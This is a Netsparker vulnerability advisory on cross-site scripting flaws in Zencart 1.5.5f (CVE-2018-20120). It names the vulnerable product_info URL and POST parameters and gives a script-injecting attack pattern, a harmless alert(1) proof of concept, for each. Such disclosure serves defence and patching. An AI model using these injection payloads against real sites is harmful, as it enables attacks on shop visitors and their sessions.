Information
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Advisory by Netsparker
Name: Multiple Cross-site Scripting Vulnerabilities in Zencart 1.5.5f
Affected Software: Zencart
Affected Versions: 1.5.5f
Homepage: https://www.zen-cart.com/
Vulnerability: Cross-site Scripting
Severity: High
Status: Not Fixed
CVE-ID: CVE-2018-20120
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
Netsparker Advisory Reference: NS-18-057

Technical Details
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URL: http://{DOMAIN}/{PATH-OF-ZENCART}/index.php?main_page=product_info&cPath=22&products_id=46&number_of_uploads=0&action=add_product
Parameter Name: id[txt_9]
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(1)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-ZENCART}/index.php?main_page=product_info&cPath=22&products_id=46&number_of_uploads=0&action=add_product
Parameter Name: id[txt_10]
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(1)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-ZENCART}/index.php?main_page=product_info&cPath=22&products_id=46&number_of_uploads=0&action=add_product
Parameter Name: id[txt_11]
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(1)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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2nd November 2018 - First Contact
9nd November 2018 - Details Sent
14th February 2019 - Advisory Released

Credits & Authors
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These issues have been discovered by Zekvan Arslan while testing Netsparker Web Application Security Scanner.

About Netsparker
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Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.